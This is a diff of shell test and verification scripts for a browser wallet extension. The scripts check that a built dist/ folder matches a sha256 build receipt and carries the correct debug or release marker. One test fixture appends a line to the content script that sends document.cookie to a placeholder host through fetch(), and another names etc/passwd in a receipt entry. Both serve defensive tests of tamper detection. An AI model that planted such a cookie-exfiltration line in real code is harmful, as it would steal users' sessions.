+# check_case <name> <perm:yes|no> <variant> <status> <text> <setup>
 #
 # Rebuilds the fixture, applies <setup> inside it, runs verify-build, and
 # requires both the exit status and the message. <perm> marks a case that only
@@ -193,7 +309,7 @@ runuser|runuser -u nobody --"
 check_case() {
     _name="$1"
     _perm="$2"
-    _mode="$3"
+    _variant="$3"
     _want_status="$4"
     _want_text="$5"
     _setup="$6"
@@ -213,23 +329,22 @@ check_case() {
         return 0
     fi
 
-    if [ "$_mode" = debug ]; then
-        _debug=1
-    else
-        _debug=""
-    fi
-
-    # Exported rather than set as a command prefix: run_unpriv is a function,
-    # and an assignment prefixed to a function call is not portable.
-    AUTISTMASK_DEBUG="$_debug"
+    # Exported rather than set as a command prefix: run_verify may go through
+    # run_unpriv, which is a function, and an assignment prefixed to a function
+    # call is not portable. Every other case unsets it, so the environment this
+    # harness happens to run in cannot decide anything.
+    case "$_variant" in
+    *envdebug)
+        AUTISTMASK_DEBUG=1
         export AUTISTMASK_DEBUG
+        ;;
+    *)
+        unset AUTISTMASK_DEBUG || true
+        ;;
+    esac
 
     _status=0
-    if [ "$_perm" = yes ]; then
-        _out="$(run_unpriv "$FIXTURE/script/verify-build" 2>&1)" || _status=$?
-    else
-        _out="$("$FIXTURE/script/verify-build" 2>&1)" || _status=$?
-    fi
+    _out="$(run_verify "$_variant" "$_perm" 2>&1)" || _status=$?
 
     _ok=yes
     _why=""
@@ -272,7 +387,9 @@ check_case() {
 
 # --- cases ------------------------------------------------------------------
 #
-# Each runs with the fixture as its working directory.
+# Each runs with the fixture as its working directory. A case that regenerates
+# the receipt is saying "this is what the build emitted"; one that does not is
+# saying "the build emitted something else and this happened afterwards".
 
 c_control() { :; }
 
@@ -299,38 +416,391 @@ c_dir_symlink() { ln -s src dist/chrome/link-to-dir; }
 
 c_alias_symlink() { ln -s popup/index.js dist/chrome/src/aliased.js; }
 
-c_manifest_missing() { rm dist/constants-bundles.txt; }
+c_receipt_missing() { rm "$RECEIPT"; }
 
-c_manifest_empty() { : >dist/constants-bundles.txt; }
+c_receipt_empty() { : >"$RECEIPT"; }
 
-c_manifest_unreadable() { chmod 000 dist/constants-bundles.txt; }
+c_receipt_unreadable() { chmod 000 "$RECEIPT"; }
 
-c_bundle_missing() { rm dist/chrome/src/popup/index.js; }
+c_receipt_bad_header() {
+    write_receipt_custom "some other file entirely" "$FIXTURE_REAL"
+}
 
-c_bundle_empty() { : >dist/chrome/src/popup/index.js; }
+c_receipt_other_tree() {
+    write_receipt_custom "$RECEIPT_HEADER" "/some/other/checkout"
+}
 
-c_bundle_unreadable() { chmod 000 dist/chrome/src/popup/index.js; }
+c_receipt_path_with_space() {
+    write_receipt
+    printf 'file %s P dist/two words.js\n' \
+        "0000000000000000000000000000000000000000000000000000000000000000" \
+        >>"$RECEIPT"
+}
 
-c_unlisted_extension() {
+c_receipt_path_outside_dist() {
+    write_receipt
+    printf 'file %s P etc/passwd\n' \
+        "0000000000000000000000000000000000000000000000000000000000000000" \
+        >>"$RECEIPT"
+}
+
+c_receipt_in_dist() { cp "$RECEIPT" dist/receipt.txt; }
+
+c_emitted_missing() { rm dist/chrome/src/popup/index.js; }
+
+c_emitted_empty() { : >dist/chrome/src/popup/index.js; }
+
+c_emitted_unreadable() { chmod 000 dist/chrome/src/popup/index.js; }
+
+c_extra_file_with_marker() {
     cp dist/chrome/src/popup/index.js dist/chrome/src/popup/extra.mjs
 }
 
-c_no_marker() { printf 'var d=4;\n' >dist/chrome/src/popup/index.js; }
+c_extra_file_no_marker() {
+    printf 'var e=5;\n' >dist/chrome/src/popup/vendor.js
+}
+
+# The four demonstrated bypasses of the pre-receipt verifier.
+
+# A 26-byte file whose entire content is the marker string used to verify ok.
+c_marker_only_stub() {
+    printf '%s' "$MARKER_OFF" >dist/chrome/src/popup/index.js
+}
+
+# The content script runs on every page the browser loads and was never read.
+c_tampered_content_script() {
+    printf 'fetch("https://example.invalid/"+document.cookie);\n' \
+        >>dist/chrome/src/content/index.js
+}
+
+# The manifest decides permissions and CSP and was never read either.
+c_tampered_manifest() {
+    printf '{"manifest_version":3,"host_permissions":["<all_urls>"]}\n' \
+        >dist/chrome/manifest.json
+}
+
+# A dist/ that has nothing to do with this build, carrying the right file
+# names and the right marker, offered against this build's receipt.
+c_foreign_dist() {
+    rm -rf dist
+    mkdir -p dist/chrome/src/popup dist/chrome/src/content dist/firefox/src/popup
+    write_bundle dist/chrome/src/popup/index.js "$MARKER_OFF"
+    write_bundle dist/firefox/src/popup/index.js "$MARKER_OFF"
+    printf 'var hostile=1;\n' >dist/chrome/src/content/index.js
+    printf '{"manifest_version":3}\n' >dist/chrome/manifest.json
+    printf 'body{color:#fff}\n' >dist/styles.css
+}
+
+# Cases that state what the build itself emitted, and so regenerate the
+# receipt over the changed bytes.
+
+c_no_marker() {
+    printf 'var d=4;\n' >dist/chrome/src/popup/index.js
+    write_receipt
+}
 
 c_both_markers() {
     printf '/* %s */\n' "$MARKER_ON" >>dist/chrome/src/popup/index.js
+    write_receipt
+}
+
+c_marker_on_plain_file() {
+    printf 'var c=3;/* %s */\n' "$MARKER_OFF" \
+        >dist/chrome/src/content/index.js
+    write_receipt
+}
+
+c_debug_build() {
+    write_bundle dist/chrome/src/popup/index.js "$MARKER_ON"
+    write_bundle dist/firefox/src/popup/index.js "$MARKER_ON"
+    write_receipt
+}
+
+c_no_dist() { rm -rf dist; }
+
+# --- dist discard -----------------------------------------------------------
+#
+# make build wraps every step of the release path in
+# script/discard-dist-on-failure, so a release build that fails removes dist/:
+# with AUTISTMASK_DEBUG=1 exported it has already emitted a complete, loadable
+# debug bundle whose every wallet uses the publicly committed test recovery
+# phrase, and a loud failure alone does not stop someone loading dist/chrome/
+# anyway. make build-debug is deliberately not wrapped.
+#
+# Both directions are asserted against the state of dist/ ON DISK after the run,
+# not against the exit status: a case reading only the status would keep passing
+# if the removal quietly stopped happening, which is the flip this exists to
+# catch. The wrapper runs against the fixture — its ROOT is the fixture, via the
+# symlink in the fixture's script/ — with trivial commands standing in for the
+# build steps, because what is under test is what happens after a step says no,
+# not the step.
+
+# discard_case <name> <setup> <status> <gone|kept> <want> <unwanted> [cmd...]
+discard_case() {
+    _dc_name="$1"
+    _dc_setup="$2"
+    _dc_want_status="$3"
+    _dc_want_dist="$4"
+    _dc_want="$5"
+    _dc_unwanted="$6"
+    shift 6
+
+    build_fixture
+    if ! (cd "$FIXTURE" && "$_dc_setup") >/dev/null 2>&1; then
+        FAILED=$((FAILED + 1))
+        echo "  FAIL: $_dc_name"
+        echo "    the case's own setup failed, so nothing was tested."
+        return 0
+    fi
+
+    _dc_status=0
+    _dc_out="$(cd "$FIXTURE" &&
+        "$FIXTURE/script/discard-dist-on-failure" "$@" 2>&1)" || _dc_status=$?
+
+    _ok=yes
+    _why=""
+
+    if [ "$_dc_status" -ne "$_dc_want_status" ]; then
+        _ok=no
+        _why="exit status $_dc_status, wanted $_dc_want_status"
+    fi
+
+    # The assertion this case exists for: what is on disk now.
+    if [ -e "$FIXTURE/dist" ] || [ -h "$FIXTURE/dist" ]; then
+        _dc_dist=kept
+    else
+        _dc_dist=gone
+    fi
+    if [ "$_dc_dist" != "$_dc_want_dist" ]; then
+        _ok=no
+        _why="${_why:+$_why; }dist/ is $_dc_dist after the run, wanted"
+        _why="$_why $_dc_want_dist"
+    elif [ "$_dc_want_dist" = kept ] &&
+        [ ! -f "$FIXTURE/dist/chrome/src/popup/index.js" ]; then
+        # Kept has to mean intact: a dist/ emptied out is not one left alone.
+        _ok=no
+        _why="${_why:+$_why; }dist/ survived but its emitted bundle did not"
+    fi
+
+    _dc_check_message "$_dc_want" want
+    _dc_check_message "$_dc_unwanted" unwanted
+
+    if [ "$_ok" = yes ]; then
+        PASSED=$((PASSED + 1))
+        echo "  ok: $_dc_name"
+        return 0
+    fi
+
+    FAILED=$((FAILED + 1))
+    echo "  FAIL: $_dc_name"
+    echo "    $_why"
+    echo "    --- discard-dist-on-failure output ---"
+    printf '%s\n' "$_dc_out" | sed 's/^/    /'
+    echo "    --- end output ---"
+}
+
+# Require ($2 = want) or forbid ($2 = unwanted) a substring in the wrapper's
+# output, updating _ok and _why. An empty substring asserts nothing. Same grep
+# discipline as everywhere else here: 0 and 1 are answers, anything else means
+# the message was never checked.
+_dc_check_message() {
+    [ -n "$1" ] || return 0
+
+    _dcm_g=0
+    printf '%s\n' "$_dc_out" | grep -q -F -e "$1" || _dcm_g=$?
+    case "$_dcm_g" in
+    0)
+        [ "$2" = unwanted ] || return 0
+        _ok=no
+        _why="${_why:+$_why; }message contained: $1"
+        ;;
+    1)
+        [ "$2" = want ] || return 0
+        _ok=no
+        _why="${_why:+$_why; }message did not contain: $1"
+        ;;
+    *)
+        _ok=no
+        _why="${_why:+$_why; }grep exited $_dcm_g matching the message, so the
+      message was never checked"
+        ;;
+    esac
+}
+
+# --- Makefile wiring --------------------------------------------------------
+
+# The verifier cases above prove what verify-build does when it is told what to
+# expect, and the discard cases prove what the wrapper does with dist/. This
+# proves the Makefile wires both up — the mode as an argument, on a scrubbed
+# environment, identically whether or not AUTISTMASK_DEBUG is exported in the
+# shell that ran make, and the wrapper on the release path only. Read off
+# `make -n`, so no build runs.
+check_makefile_wiring() {
+    if ! command -v make >/dev/null 2>&1; then
+        SKIPPED=$((SKIPPED + 1))
+        SKIPPED_NAMES="$SKIPPED_NAMES##   - Makefile wiring (make not found)$NEWLINE"
+        echo "  SKIP (make not found): Makefile wiring"
+        return 0
+    fi
+
+    # make build must ask for release, and must scrub the flag from the
+    # verifier's environment, even when the caller has it exported.
+    _wiring_case "make build passes --expect release" \
+        build "verify-build --expect release"
+    _wiring_case "make build scrubs AUTISTMASK_DEBUG for the verifier" \
+        build "env -u AUTISTMASK_DEBUG"
+    _wiring_case "make build-debug passes --expect debug" \
+        build-debug "verify-build --expect debug"
+    _wiring_case "make build-debug scrubs AUTISTMASK_DEBUG for the verifier" \
+        build-debug "env -u AUTISTMASK_DEBUG"
+
+    # The release path runs its steps through the wrapper, including the final
+    # check-censored pass; the debug path runs none of them through it, which is
+    # what keeps a failed debug build's dist/ on disk.
+    _wiring_case "make build wraps its steps in discard-dist-on-failure" \
+        build "script/discard-dist-on-failure"
+    _wiring_case "make build wraps check-censored --require-dist too" \
+        build "script/discard-dist-on-failure script/check-censored"
+    _wiring_case_absent "make build-debug never discards its dist/" \
+        build-debug "discard-dist-on-failure"
+}
+
+# Run `make -n TARGET` with AUTISTMASK_DEBUG=1 exported, into _wc_out. Returns
+# non-zero, having already reported the failure, when make itself failed: a
+# recipe that could not be printed was never checked.
+_wiring_make_n() {
+    AUTISTMASK_DEBUG=1
+    export AUTISTMASK_DEBUG
+    _wc_status=0
+    _wc_out="$(cd "$ROOT" && make -n "$_wc_target" 2>&1)" || _wc_status=$?
+    unset AUTISTMASK_DEBUG
+
+    [ "$_wc_status" -ne 0 ] || return 0
+
+    FAILED=$((FAILED + 1))
+    echo "  FAIL: $_wc_name"
+    echo "    make -n $_wc_target exited $_wc_status"
+    return 1
+}
+
+_wiring_case() {
+    _wc_name="$1"
+    _wc_target="$2"
+    _wc_want="$3"
+
+    _wiring_make_n || return 0
+
+    _wc_g=0
+    printf '%s\n' "$_wc_out" | grep -q -F -e "$_wc_want" || _wc_g=$?
+    case "$_wc_g" in
+    0)
+        PASSED=$((PASSED + 1))
+        echo "  ok: $_wc_name"
+        ;;
+    1)
+        FAILED=$((FAILED + 1))
+        echo "  FAIL: $_wc_name"
+        echo "    make -n $_wc_target does not run: $_wc_want"
+        ;;
+    *)
+        FAILED=$((FAILED + 1))
+        echo "  FAIL: $_wc_name"
+        echo "    grep exited $_wc_g, so the recipe was never checked"
+        ;;
+    esac
+}
+
+# The inverse: the recipe must NOT run something.
+_wiring_case_absent() {
+    _wc_name="$1"
+    _wc_target="$2"
+    _wc_want="$3"
+
+    _wiring_make_n || return 0
+
+    _wc_g=0
+    printf '%s\n' "$_wc_out" | grep -q -F -e "$_wc_want" || _wc_g=$?
+    case "$_wc_g" in
+    1)
+        PASSED=$((PASSED + 1))
+        echo "  ok: $_wc_name"
+        ;;
+    0)
+        FAILED=$((FAILED + 1))
+        echo "  FAIL: $_wc_name"
+        echo "    make -n $_wc_target runs: $_wc_want"
+        ;;
+    *)
+        FAILED=$((FAILED + 1))
+        echo "  FAIL: $_wc_name"
+        echo "    grep exited $_wc_g, so the recipe was never checked"
+        ;;
+    esac
 }
 
 run_cases() {
     check_case "control: untouched dist passes" \
-        no release 0 "2 bundle(s) verified $MARKER_OFF" c_control
+        no release 0 "2 bundle(s) $MARKER_OFF" c_control
 
-    check_case "unlisted marker-carrying file, trailing space in name" \
-        no release 1 "carries a debug marker but is absent from" \
+    check_case "AUTISTMASK_DEBUG=1 in the environment does not decide the mode" \
+        no release-envdebug 0 "2 bundle(s) $MARKER_OFF" c_control
+
+    check_case "debug bundles under --expect release fail (make build with
+        AUTISTMASK_DEBUG=1 exported)" \
+        no release-envdebug 1 \
+        "is $MARKER_ON but this build was told to expect" c_debug_build
+
+    check_case "debug bundles under --expect debug pass" \
+        no debug 0 "2 bundle(s) $MARKER_ON" c_debug_build
+
+    check_case "no --expect argument" \
+        no no-expect 1 "no --expect argument." c_control
+
+    check_case "no --receipt argument" \
+        no no-receipt 1 "no --receipt argument." c_control
+
+    check_case "--expect takes release or debug" \
+        no bad-expect 1 "--expect takes release or debug" c_control
+
+    check_case "unknown argument" \
+        no unknown-arg 1 "unknown argument: --force" c_control
+
+    check_case "receipt inside the tree it describes" \
+        no receipt-in-dist 1 "the receipt is inside dist/" c_receipt_in_dist
+
+    check_case "bundle replaced by a file containing only the marker" \
+        no release 1 "does not contain the bytes this build emitted" \
+        c_marker_only_stub
+
+    check_case "content script tampered with after the build" \
+        no release 1 \
+        "dist/chrome/src/content/index.js does not contain the bytes" \
+        c_tampered_content_script
+
+    check_case "manifest.json tampered with after the build" \
+        no release 1 "dist/chrome/manifest.json does not contain the bytes" \
+        c_tampered_manifest
+
+    check_case "hand-written dist/ offered against this build's receipt" \
+        no release 1 "does not contain the bytes this build emitted" \
+        c_foreign_dist
+
+    check_case "extra file under dist/ carrying a marker" \
+        no release 1 \
+        "dist/chrome/src/popup/extra.mjs is under dist/ but the build" \
+        c_extra_file_with_marker
+
+    check_case "extra file under dist/ carrying no marker" \
+        no release 1 \
+        "dist/chrome/src/popup/vendor.js is under dist/ but the build" \
+        c_extra_file_no_marker
+
+    check_case "extra file, trailing space in name" \
+        no release 1 "is under dist/ but the build that just ran did not emit" \
         c_trailing_space
 
-    check_case "unlisted marker-carrying file, newline in name" \
-        no release 1 "carries a debug marker but is absent from" \
+    check_case "extra file, newline in name" \
+        no release 1 "is under dist/ but the build that just ran did not emit" \
         c_embedded_newline
 
     check_case "dist/ replaced by a symlink" \
@@ -342,64 +812,100 @@ run_cases() {
 
     check_case "dangling symlink under dist/" \
         no release 1 \
-        "reading dist/chrome/dangling.js, so the file could not be" \
-        c_dangling_symlink
+        "dist/chrome/dangling.js is a symlink under dist/" c_dangling_symlink
 
     check_case "symlink to a directory under dist/" \
         no release 1 \
-        "reading dist/chrome/link-to-dir, so the file could not be" \
-        c_dir_symlink
+        "dist/chrome/link-to-dir is a symlink under dist/" c_dir_symlink
 
-    check_case "symlink to a listed bundle under an unlisted path" \
+    check_case "symlink aliasing an emitted bundle under another path" \
         no release 1 \
-        "dist/chrome/src/aliased.js carries a debug marker but is absent" \
-        c_alias_symlink
+        "dist/chrome/src/aliased.js is a symlink under dist/" c_alias_symlink
 
-    check_case "manifest missing" \
-        no release 1 "dist/constants-bundles.txt is missing." \
-        c_manifest_missing
+    check_case "receipt missing" \
+        no release 1 "is missing. build.js writes it" c_receipt_missing
 
-    check_case "manifest empty" \
-        no release 1 "is empty, so no emitted bundle was found to contain" \
-        c_manifest_empty
+    check_case "receipt empty" \
+        no release 1 "is empty, so the build wrote nothing to it" \
+        c_receipt_empty
 
-    check_case "manifest unreadable" \
+    check_case "receipt unreadable" \
         yes release 1 "is not readable, so nothing was inspected." \
-        c_manifest_unreadable
+        c_receipt_unreadable
 
-    check_case "listed bundle missing" \
+    check_case "receipt is not a build receipt" \
+        no release 1 "does not start with" c_receipt_bad_header
+
+    check_case "receipt from a different checkout" \
+        no release 1 "was written by a build of a different tree" \
+        c_receipt_other_tree
+
+    check_case "receipt names a path containing a space" \
+        no release 1 "cannot be read back unambiguously" \
+        c_receipt_path_with_space
+
+    check_case "receipt names a path outside dist/" \
+        no release 1 "names a path that is not under dist/" \
+        c_receipt_path_outside_dist
+
+    check_case "emitted file missing" \
         no release 1 \
-        "lists dist/chrome/src/popup/index.js, which does not exist." \
-        c_bundle_missing
+        "names dist/chrome/src/popup/index.js, which does not exist." \
+        c_emitted_missing
 
-    check_case "listed bundle empty" \
-        no release 1 "which is empty. An empty bundle" c_bundle_empty
+    check_case "emitted file empty" \
+        no release 1 "which is empty. An empty file" c_emitted_empty
 
-    check_case "listed bundle unreadable" \
+    check_case "emitted file unreadable" \
         yes release 1 \
-        "reading dist/chrome/src/popup/index.js, so the file could not be" \
-        c_bundle_unreadable
+        "on dist/chrome/src/popup/index.js, so its bytes were never read" \
+        c_emitted_unreadable
 
-    check_case "unlisted extension carrying a marker" \
-        no release 1 \
-        "dist/chrome/src/popup/extra.mjs carries a debug marker but is" \
-        c_unlisted_extension
-
-    check_case "listed bundle carries no marker" \
+    check_case "emitted bundle carries no marker" \
         no release 1 "carries no debug marker, so its DEBUG state cannot be" \
         c_no_marker
 
-    check_case "listed bundle carries both markers" \
+    check_case "emitted bundle carries both markers" \
         no release 1 "carries both debug markers, so DEBUG was not resolved" \
         c_both_markers
 
-    check_case "wrong marker for the requested mode" \
-        no debug 1 "is $MARKER_OFF but this build expects $MARKER_ON" \
-        c_control
+    check_case "marker on a file the build did not record as a bundle" \
+        no release 1 "carries a debug marker but the build did not" \
+        c_marker_on_plain_file
+
+    discard_case "a failed release build step removes dist/" \
+        c_control 3 gone "dist/ WAS REMOVED" "" sh -c 'exit 3'
+
+    discard_case "a successful release build step leaves dist/ alone" \
+        c_control 0 kept "" "REMOVED" true
+
+    discard_case "a failed release build step with no dist/ says there was none" \
+        c_no_dist 3 gone "There was no dist/ to remove" "" sh -c 'exit 3'
+
+    discard_case "the wrapper given no command removes nothing" \
+        c_control 1 kept "no command given" ""
+
+    check_makefile_wiring
 }
 
 # --- main --------------------------------------------------------------------
 
+# The harness cannot build a receipt without a digest, so a missing sha256
+# command is a failure here rather than a silent reduction in coverage.
+pick_sha256_tool() {
+    if command -v sha256sum >/dev/null 2>&1; then
+        SHA256_CMD="sha256sum"
+    elif command -v shasum >/dev/null 2>&1; then
+        SHA256_CMD="shasum -a 256"
+    elif command -v openssl >/dev/null 2>&1; then
+        SHA256_CMD="openssl dgst -sha256 -r"
+    else
+        echo "test-verify-build: no sha256 command found (tried sha256sum," \
+            "shasum, openssl), so no fixture receipt can be written" >&2
+        exit 1
+    fi
+}
+
 main() {
     cd "$ROOT"
 
@@ -407,8 +913,13 @@ main() {
         echo "test-verify-build: $VERIFY_BUILD is missing or not executable" >&2
         exit 1
     }
+    [ -x "$DISCARD_DIST" ] || {
+        echo "test-verify-build: $DISCARD_DIST is missing or not executable" >&2
+        exit 1
+    }
 
     echo "Testing script/verify-build failure modes..."
+    pick_sha256_tool
     probe_permission_runner
     if [ "$PERM_ENABLED" = yes ]; then
         echo "  permission cases: enabled (runner: $PERM_HOW, proved against" \
@@ -426,11 +937,11 @@ main() {
     if [ "$SKIPPED" -ne 0 ]; then
         cat <<EOF
 ################################################################################
-## WARNING: $SKIPPED PERMISSION CASE(S) DID NOT RUN, AND THIS RUN DOES NOT
-## PROVE THEM. This process is uid $(id -u), and no runner subject to file
-## permissions was available. Tried: $PERM_HOW.
-## Under root, chmod 000 stops neither find nor grep, so these cases would
-## have passed without testing anything. They were skipped, not counted:
+## WARNING: $SKIPPED CASE(S) DID NOT RUN, AND THIS RUN DOES NOT PROVE THEM.
+## This process is uid $(id -u), and no runner subject to file permissions was
+## available. Tried: $PERM_HOW.
+## Under root, chmod 000 stops neither find nor grep, so the permission cases
+## would have passed without testing anything. They were skipped, not counted:
 $SKIPPED_NAMES################################################################################
 EOF
         echo "test-verify-build: $PASSED case(s) passed," \

script/verify-build

@@ -1,45 +1,97 @@
 #!/bin/sh
-# script/verify-build: assert the compiled DEBUG state of the emitted
-# bundles. Our own extension to scripts-to-rule-them-all, run at the end of
-# make build / make build-debug.
+# script/verify-build: assert that the regular files and symlinks under dist/
+# are exactly what the build that just ran emitted (other file types are out of
+# scope; see "What that does and does not establish" below), and that the
+# compiled DEBUG state of that output is the one the caller asked for. Our own
+# extension to scripts-to-rule-them-all, run at the end of make build /
+# make build-debug.
 #
-# Why this exists: DEBUG makes the publicly committed test recovery phrase the
-# output of wallet creation, so a release artifact built with it live hands
-# every new wallet to anyone who reads the repo. The test suite cannot see
-# this, because it loads src/shared/constants.js outside a bundle and takes
-# the fallback branch; the property only exists in the emitted output, so it
-# has to be asserted against the emitted output.
+# Why the DEBUG half exists: DEBUG makes the publicly committed test recovery
+# phrase the output of wallet creation, so a release artifact built with it live
+# hands every new wallet to anyone who reads the repo. The test suite cannot see
+# this, because it loads src/shared/constants.js outside a bundle and takes the
+# fallback branch; the property only exists in the emitted output, so it has to
+# be asserted against the emitted output.
 #
-# What it reads: dist/constants-bundles.txt, written by build.js from
-# esbuild's metafile, naming every emitted bundle that contains
-# src/shared/constants.js. Each of those must carry exactly one of the two
-# BUILD_DEBUG_MARKER literals that constants.js folds down to.
+# Which mode to expect is an ARGUMENT (--expect release|debug) and is never
+# taken from this script's environment. It used to be read from
+# AUTISTMASK_DEBUG here, which meant an operator with AUTISTMASK_DEBUG=1
+# exported in their shell could run the release target, get a debug build, and
+# have it verified green and exit 0. There is also no default: a caller that
+# does not say what it built gets a failure, because "no opinion" is not a
+# state this can check anything against.
 #
-# It fails rather than passes whenever it cannot determine a bundle's state.
-# Minified output is not a stable contract, so "matched neither form" is not
-# evidence of anything and must never read as green.
+# Why the provenance half exists: on its own, a marker grep proves nothing
+# about where the bytes came from. A 26-byte file containing only the marker
+# string used to verify ok; the content script and manifest.json were not read
+# at all; an entire hand-written dist/ passed. The list of files to check has
+# therefore moved OUT of dist/: build.js writes a receipt naming every file it
+# emitted, with each file's sha256 and whether it is one of the bundles
+# containing src/shared/constants.js, and the Makefile creates that receipt
+# path fresh per invocation, outside the repo, and deletes it afterwards.
+#
+# What that does and does not establish. It establishes that dist/ is byte for
+# byte the output of the build.js run that just finished, with no regular file
+# or symlink added, missing or altered in between, and that the audited bundles
+# in it compiled to the requested mode. Regular files and symlinks are the whole
+# of what the tree walk covers; fifos, sockets, device nodes and empty
+# directories under dist/ are not checked, because a build emits none of them,
+# none can carry a shippable payload, and grep on a fifo would hang rather than
+# fail. It does NOT establish that the source tree or build.js were honest, and
+# it says nothing at all to someone handed a dist/ from elsewhere: without the
+# receipt from its own build they have no input to this check. That is signing,
+# and it is not this control.
+#
+# It fails rather than passes whenever it cannot determine something. Minified
+# output is not a stable contract, so "matched neither marker" is not evidence
+# of anything and must never read as green; the same discipline applies to
+# every read here, which is why a grep or a digest that could not be taken is
+# a hard failure and not an absence of a problem.
 set -eu
 
 ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
 
 # Absolute path to this script, resolved before anything cd's anywhere.
-# check_unlisted_bundles re-invokes it through xargs, and $0 on its own may be
+# check_dist_tree re-invokes it through xargs, and $0 on its own may be
 # relative to a directory we are about to leave.
 SELF="$(cd "$(dirname "$0")" && pwd -P)/$(basename "$0")"
 
 # Internal re-entry flag; see scan_dist_paths.
 SCAN_FLAG="--scan-dist-paths"
 
-# A literal newline, for the is_listed guard.
+# A literal newline and tab, for the receipt-shape guards.
 NEWLINE='
 '
+TAB='	'
 
-MANIFEST="dist/constants-bundles.txt"
 MARKER_ON="autistmask-build-debug=on"
 MARKER_OFF="autistmask-build-debug=off"
 
-# Set by read_marker.
+RECEIPT_HEADER="autistmask-build-receipt v1"
+
+# Set by the arguments.
+RECEIPT=""
+EXPECT=""
+
+# Set by read_marker, read_sha256 and parse_file_line respectively, plus the
+# receipt line number the diagnostics quote.
 MARKER=""
+SHA=""
+ENTRY_HASH=""
+ENTRY_FLAG=""
+ENTRY_PATH=""
+LINENO_R=0
+
+# The sha256 command, chosen by pick_sha256.
+SHA256=""
+
+# Totals: the shape pass counts what the receipt claims, the entries pass
+# counts what was actually checked against dist/, and the summary reports the
+# latter.
+SHAPE_COUNT=0
+SHAPE_AUDITED=0
+COUNT=0
+AUDITED=0
 
 # Temporary file holding the NUL-delimited dist/ listing, removed by the EXIT
 # trap because fail() exits from wherever it is called.
@@ -50,11 +102,17 @@ fail() {
     exit 1
 }
 
+usage() {
+    echo "usage: verify-build --expect release|debug --receipt PATH" >&2
+}
+
 cleanup() {
     [ -z "$LISTING" ] || rm -f "$LISTING"
 }
 trap cleanup EXIT
 
+# --- reading files ----------------------------------------------------------
+
 # Is the literal $1 present in the file $2? Match (grep exit 0) and no-match
 # (exit 1) are answers about the emitted output. Anything else (exit 2: the
 # file could not be read) is not an answer at all, and must not be reported as
@@ -74,34 +132,46 @@ has_marker() {
     esac
 }
 
-# Does the manifest list the path $1, as a whole line? Same discipline as
-# has_marker: exit 0 and 1 are answers about the manifest, exit 2 means the
-# manifest could not be read and is not an answer at all. Without this, an
-# unreadable manifest reads as "this file is not listed" and every emitted
-# bundle gets reported as an unlisted one.
-#
-# A path containing a newline is answered without asking grep, because grep
-# would read the pattern as two patterns and report a match on either. That is
-# how such a path escaped this check even once the walk stopped splitting it:
-# the half before the newline matched a listed line and the file was skipped.
-# The manifest is line-delimited, so it cannot name such a path at all, and
-# "not listed" is the only true answer.
-is_listed() {
-    case "$1" in
-    *"$NEWLINE"*) return 1 ;;
-    esac
-    _il_status=0
-    grep -q -x -F -e "$1" -- "$MANIFEST" || _il_status=$?
-    case "$_il_status" in
-    0) return 0 ;;
-    1) return 1 ;;
-    *)
-        fail "grep exited $_il_status reading $MANIFEST, so it could not be
-    searched and nothing was established about which bundles it lists. That is
-    a permissions or I/O fault on the manifest, not a stale manifest. Refusing
-    to report success."
+# Pick the sha256 command once. All three print the digest as the first
+# whitespace-delimited field. If none is present the digests cannot be taken at
+# all, and this script has nothing left to check with, so it fails rather than
+# degrading to the marker grep it used to be.
+pick_sha256() {
+    if command -v sha256sum >/dev/null 2>&1; then
+        SHA256="sha256sum"
+    elif command -v shasum >/dev/null 2>&1; then
+        SHA256="shasum -a 256"
+    elif command -v openssl >/dev/null 2>&1; then
+        SHA256="openssl dgst -sha256 -r"
+    else
+        fail "no sha256 command found (tried sha256sum, shasum, openssl), so
+    the emitted files cannot be checked against the build receipt at all.
+    Refusing to report success."
+    fi
+}
+
+# Digest of $1 into SHA. A digest that could not be taken is not a mismatch and
+# not a pass: it means the artifact was never read.
+read_sha256() {
+    _rs_status=0
+    # Word-split on purpose: SHA256 is a command with its arguments.
+    # shellcheck disable=SC2086
+    _rs_out="$($SHA256 "$1" 2>/dev/null)" || _rs_status=$?
+    [ "$_rs_status" -eq 0 ] ||
+        fail "$SHA256 exited $_rs_status on $1, so its bytes were never read
+    and nothing was established about them. That is a permissions or I/O fault
+    on the artifact, not a mismatch. Refusing to report success."
+
+    SHA="${_rs_out%% *}"
+    case "$SHA" in
+    "" | *[!0-9a-f]*)
+        fail "$SHA256 produced no usable digest for $1, so its bytes were never
+    checked. Refusing to report success."
         ;;
     esac
+    [ "${#SHA}" -eq 64 ] ||
+        fail "$SHA256 produced a ${#SHA}-character digest for $1, which is not
+    a sha256. Refusing to report success."
 }
 
 # Read one bundle's DEBUG state into MARKER. Exactly one marker must be
@@ -140,48 +210,199 @@ read_marker() {
     fi
 }
 
-# The manifest says which bundles must carry a marker. This says no other
-# emitted file may carry one, which catches a manifest that has gone stale
-# or short rather than trusting whatever it happens to list.
+# --- the receipt ------------------------------------------------------------
+
+# Split one "file <sha256> <A|P> <path>" line into ENTRY_HASH, ENTRY_FLAG and
+# ENTRY_PATH, and require the shape rather than assuming it. The path is the
+# remainder of the line, so a path carrying a space or a tab would be read back
+# as something other than what was written; build.js refuses to emit such a
+# name, and a receipt that contains one is malformed rather than describing a
+# file. Every rejection here is a failure: a line that cannot be understood is
+# a file that would otherwise go unchecked.
+parse_file_line() {
+    case "$1" in
+    "file "*) ;;
+    *)
+        fail "$RECEIPT line $LINENO_R is not a file entry and this script does
+    not know what it means: ${1}. Refusing to report success."
+        ;;
+    esac
+
+    _pl="${1#file }"
+    ENTRY_HASH="${_pl%% *}"
+    _pl="${_pl#* }"
+    ENTRY_FLAG="${_pl%% *}"
+    ENTRY_PATH="${_pl#* }"
+
+    case "$ENTRY_HASH" in
+    "" | *[!0-9a-f]*) fail "$RECEIPT line $LINENO_R has no sha256: $1" ;;
+    esac
+    [ "${#ENTRY_HASH}" -eq 64 ] ||
+        fail "$RECEIPT line $LINENO_R has a ${#ENTRY_HASH}-character digest,
+    which is not a sha256: $1"
+
+    case "$ENTRY_FLAG" in
+    A | P) ;;
+    *) fail "$RECEIPT line $LINENO_R has no A/P audit flag: $1" ;;
+    esac
+
+    case "$ENTRY_PATH" in
+    dist/*) ;;
+    *)
+        fail "$RECEIPT line $LINENO_R names a path that is not under dist/:
+    $ENTRY_PATH. The receipt describes the emitted tree and nothing else."
+        ;;
+    esac
+    case "$ENTRY_PATH" in
+    *" "* | *"$TAB"* | *"$NEWLINE"*)
+        fail "$RECEIPT line $LINENO_R names a path containing whitespace, which
+    cannot be read back unambiguously from a line-oriented receipt: $1"
+        ;;
+    esac
+}
+
+# Check one emitted file against its receipt entry: it must be a regular file
